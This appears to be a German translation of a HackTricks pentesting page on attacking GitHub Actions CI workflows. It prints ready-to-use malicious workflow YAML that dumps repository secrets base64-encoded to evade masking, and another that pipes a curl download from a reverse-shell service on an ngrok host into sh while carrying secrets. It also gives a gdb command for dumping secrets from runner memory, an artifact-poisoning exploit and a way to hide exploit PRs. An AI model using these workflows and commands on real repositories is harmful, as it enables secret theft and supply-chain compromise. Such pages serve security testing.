Abusing Github Actions

Unterstütze HackTricks

Grundinformationen

Auf dieser Seite findest du:

  • Eine Zusammenfassung aller Auswirkungen, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen.

  • Verschiedene Möglichkeiten, um Zugriff auf eine Action zu erhalten:

  • Berechtigungen zum Erstellen der Action haben

  • Missbrauch von Pull-Request-bezogenen Triggern

  • Missbrauch von anderen externen Zugriffstechniken

  • Pivoting von einem bereits kompromittierten Repo

  • Schließlich ein Abschnitt über Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen (um die genannten Auswirkungen zu verursachen)

Zusammenfassung der Auswirkungen

Für eine Einführung über Github Actions, siehe die grundlegenden Informationen.

Falls du beliebige Github Actions ausführen/in einem Repository Code injizieren kannst, könntest du in der Lage sein:

  • Geheimnisse aus diesem Repo/Organisation zu stehlen.

  • Wenn du nur injizieren kannst, kannst du stehlen, was bereits im Workflow vorhanden ist.

  • Repo-Berechtigungen missbrauchen, um auf andere Plattformen wie AWS und GCP zuzugreifen.

  • Code in benutzerdefinierten Workern ausführen (wenn benutzerdefinierte Worker verwendet werden) und versuchen, von dort aus zu pivotieren.

  • Code im Repository überschreiben.

  • Dies hängt von den Berechtigungen des GITHUB_TOKEN ab (falls vorhanden).

  • Kompromittierte Deployments und andere Artefakte.

  • Wenn der Code etwas bereitstellt oder speichert, könntest du das ändern und weiteren Zugriff erhalten.

GITHUB_TOKEN

Dieses "Geheimnis" (stammend von ${{ secrets.GITHUB_TOKEN }} und ${{ github.token }}) wird gegeben, wenn der Administrator diese Option aktiviert:

Dieses Token ist dasselbe, das eine Github-Anwendung verwenden wird, sodass es auf dieselben Endpunkte zugreifen kann: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github sollte einen Flow veröffentlichen, der cross-repository Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem GITHUB_TOKEN zugreifen kann.

Du kannst die möglichen Berechtigungen dieses Tokens hier einsehen: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Beachte, dass das Token nach Abschluss des Jobs abläuft. Diese Tokens sehen so aus: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Einige interessante Dinge, die du mit diesem Token tun kannst:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Beachten Sie, dass Sie in mehreren Fällen Github-Benutzertoken in den Umgebungsvariablen von Github Actions oder in den Geheimnissen finden können. Diese Token können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.

Geheimnisse im Github Action-Ausgang auflisten

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Erhalte eine Reverse-Shell mit Geheimnissen

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, durch Überprüfung der Protokolle der Aktionen zu überprüfen:

Erlaubte Ausführung

Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie ein neues Repo in der Organisation erstellen können oder Schreibrechte über ein Repository haben.

Wenn Sie sich in diesem Szenario befinden, können Sie einfach die Post Exploitation-Techniken überprüfen.

Ausführung aus der Repo-Erstellung

Falls Mitglieder einer Organisation neue Repos erstellen können und Sie Github-Aktionen ausführen können, können Sie ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen.

Ausführung aus einem neuen Branch

Wenn Sie einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält, können Sie diese modifizieren, den Inhalt hochladen und dann diese Aktion aus dem neuen Branch ausführen. Auf diese Weise können Sie Geheimnisse auf Repository- und Organisationsebene exfiltrieren (aber Sie müssen wissen, wie sie genannt werden).

Sie können die modifizierte Aktion manuell ausführbar machen, wenn ein PR erstellt wird oder wenn einige Codes gepusht werden (je nachdem, wie auffällig Sie sein möchten):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine Github Action eines anderen Repositories auszuführen. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.

pull_request

Der Workflow-Trigger pull_request wird den Workflow jedes Mal ausführen, wenn ein Pull-Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das erste Mal ist, dass Sie mitarbeiten, muss ein Maintainer die Ausführung des Workflows genehmigen:

Da die Standardbeschränkung für Erstbeiträge gilt, könnten Sie einen gültigen Bug/Tippfehler beheben und dann andere PRs senden, um Ihre neuen pull_request-Befugnisse auszunutzen.

Ich habe das getestet und es funktioniert nicht: Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und sein Konto gelöscht hat.

Darüber hinaus verhindert standardmäßig Schreibberechtigungen und Zugriff auf Geheimnisse auf das Zielrepository, wie in den Docs erwähnt:

Mit Ausnahme von GITHUB_TOKEN werden Geheimnisse nicht an den Runner übergeben, wenn ein Workflow aus einem forked Repository ausgelöst wird. Das GITHUB_TOKEN hat nur Lesezugriff in Pull-Requests von geforkten Repositories.

Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.

Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!

Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise bösartige Artefakte hochladen, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das GITHUB_TOKEN gibt.

pull_request_target

Der Workflow-Trigger pull_request_target hat Schreibberechtigungen für das Zielrepository und Zugriff auf Geheimnisse (und fragt nicht nach Erlaubnis).

Beachten Sie, dass der Workflow-Trigger pull_request_target im Basis-Kontext und nicht im durch den PR gegebenen Kontext ausgeführt wird (um nicht vertrauenswürdigen Code auszuführen). Für weitere Informationen zu pull_request_target überprüfen Sie die Docs. Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem Github-Blogbeitrag.

Es könnte so aussehen, als wäre der ausgeführte Workflow der, der in der Basis definiert ist und nicht im PR, was es sicher macht, pull_request_target zu verwenden, aber es gibt einige Fälle, in denen dies nicht der Fall ist.

Und dieser hat Zugriff auf Geheimnisse.

workflow_run

Der workflow_run Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er completed, requested oder in_progress ist.

In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach Abschluss des separaten "Run Tests"-Workflows ausgeführt wird:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: Der durch das workflow_run-Ereignis gestartete Workflow kann Geheimnisse zugreifen und Tokens schreiben, auch wenn der vorherige Workflow nicht.

Diese Art von Workflow könnte angegriffen werden, wenn sie von einem Workflow abhängt, der von einem externen Benutzer über pull_request oder pull_request_target ausgelöst werden kann. Einige anfällige Beispiele können in diesem Blog** gefunden werden.** Der erste besteht darin, dass der durch workflow_run ausgelöste Workflow den Code des Angreifers herunterlädt: ${{ github.event.pull_request.head.sha }} Der zweite besteht darin, ein Artifact vom nicht vertrauenswürdigen Code an den workflow_run-Workflow zu übergeben und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die es anfällig für RCE macht.

workflow_call

TODO

TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der aus dem Ursprung oder vom geforkten PR stammt

Missbrauch von geforkter Ausführung

Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:

Nicht vertrauenswürdige Checkout-Ausführung

Im Fall von pull_request wird der Workflow im Kontext des PR ausgeführt (er wird also den bösartigen PR-Code ausführen), aber jemand muss ihn zuerst autorisieren, und er wird mit einigen Einschränkungen ausgeführt.

Im Fall eines Workflows, der pull_request_target oder workflow_run verwendet und von einem Workflow abhängt, der von pull_request_target oder pull_request ausgelöst werden kann, wird der Code aus dem ursprünglichen Repo ausgeführt, sodass der Angreifer den ausgeführten Code nicht kontrollieren kann.

Wenn jedoch die Aktion einen expliziten PR-Checkout hat, der den Code vom PR (und nicht von der Basis) holt, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird):

# UNSICHER. Nur als Beispiel bereitgestellt.
on:
pull_request_target

jobs:
build:
name: Build und Test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Danke!

Der potenziell nicht vertrauenswürdige Code wird während npm install oder npm build ausgeführt, da die Build-Skripte und die referenzierten Pakete vom Autor des PR kontrolliert werden.

Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: event.pull_request pull_request_target extension:yml, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (zum Beispiel durch die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).

Kontext-Skript-Injektionen

Beachten Sie, dass es bestimmte GitHub-Kontexte gibt, deren Werte von dem Benutzer kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese Daten verwendet, um irgendetwas auszuführen, könnte dies zu willkürlicher Codeausführung führen:

GITHUB_ENV Skript-Injektion

Aus den Dokumenten: Sie können eine Umgebungsvariable für alle nachfolgenden Schritte in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die GITHUB_ENV-Umgebungsdatei schreiben.

Wenn ein Angreifer irgend einen Wert in diese env-Variable einschleusen könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie LD_PRELOAD oder NODE_OPTIONS.

Zum Beispiel (dies und dies), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der GITHUB_ENV-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:

Anfällige Drittanbieter-GitHub-Aktionen

Wie in diesem Blogbeitrag erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.

Das Problem ist, dass, wenn der path-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.

Beispiel eines anfälligen Workflows:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dies könnte mit diesem Workflow angegriffen werden:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Anderer externer Zugriff

Gelöschte Namespace Repo-Hijacking

Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository weniger als 100 Sterne vor der Namensänderung hatte, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein Repository mit demselben Namen wie das gelöschte zu erstellen.

Wenn eine Aktion also ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.

Wenn andere Repositories Abhängigkeiten von diesen Benutzer-Repos verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo-Pivoting

In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, von einem Repo zu einem anderen zu pivotieren, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).

Cache-Poisoning

Ein Cache wird zwischen Workflow-Ausführungen im selben Branch aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein Paket kompromittiert, das dann im Cache gespeichert und von einem privilegierteren Workflow heruntergeladen und ausgeführt wird, er auch diesen Workflow kompromittieren kann.

Artifact-Poisoning

Workflows könnten Artefakte von anderen Workflows und sogar Repos verwenden. Wenn es einem Angreifer gelingt, die Github Action zu kompromittieren, die ein Artefakt hochlädt, das später von einem anderen Workflow verwendet wird, könnte er die anderen Workflows kompromittieren:


Post-Exploitation von einer Aktion

Zugriff auf AWS und GCP über OIDC

Überprüfen Sie die folgenden Seiten:

Zugriff auf Geheimnisse

Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:

  • Wenn das Geheimnis oder Token auf eine Umgebungsvariable gesetzt ist, kann es direkt über die Umgebung mit printenv zugegriffen werden.

Geheimnisse in der Github Action-Ausgabe auflisten

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Wenn das Geheimnis direkt in einem Ausdruck verwendet wird, wird das generierte Shell-Skript auf der Festplatte gespeichert und ist zugänglich.

cat /home/runner/work/_temp/*

* Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
* ```bash
ps axe | grep node
  • Für eine benutzerdefinierte Aktion kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem Argument erhalten hat:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Missbrauch von selbst gehosteten Runnern

Der Weg, um herauszufinden, welche Github Actions in nicht-Github-Infrastrukturen ausgeführt werden, besteht darin, nach runs-on: self-hosted in der Github Action-Konfigurations-YAML zu suchen.

Selbst gehostete Runner könnten Zugang zu extra sensiblen Informationen, zu anderen Netzwerksystemen (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, könnten mehr als eine Aktion gleichzeitig ausgeführt werden und die bösartige könnte die Geheimnisse der anderen stehlen.

Bei selbst gehosteten Runnern ist es auch möglich, die Geheimnisse aus dem _Runner.Listener_** Prozess** zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Überprüfen Sie diesen Beitrag für weitere Informationen.

Github Docker Images Registry

Es ist möglich, Github-Aktionen zu erstellen, die ein Docker-Image innerhalb von Github erstellen und speichern. Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.

Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Dann könnte der Benutzer nach geleakten Geheimnissen in den Docker-Image-Schichten suchen:

Sensible Informationen in den Github Actions-Protokollen

Selbst wenn Github versucht, Geheimwerte in den Aktionsprotokollen zu erkennen und zu vermeiden, dass sie angezeigt werden, werden andere sensible Daten, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein mit einem Geheimwert signiertes JWT nicht verborgen, es sei denn, es ist speziell konfiguriert.

Spuren verwischen

(Technik von hier) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig einen PR aus dem Internet nicht löschen, aber es gibt einen Haken. Für GitHub-Konten, die von Github gesperrt sind, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen. Dies würde alle Ihre Aktivitäten auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).

Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.

Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.

Werkzeuge

Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu finden:

Last updated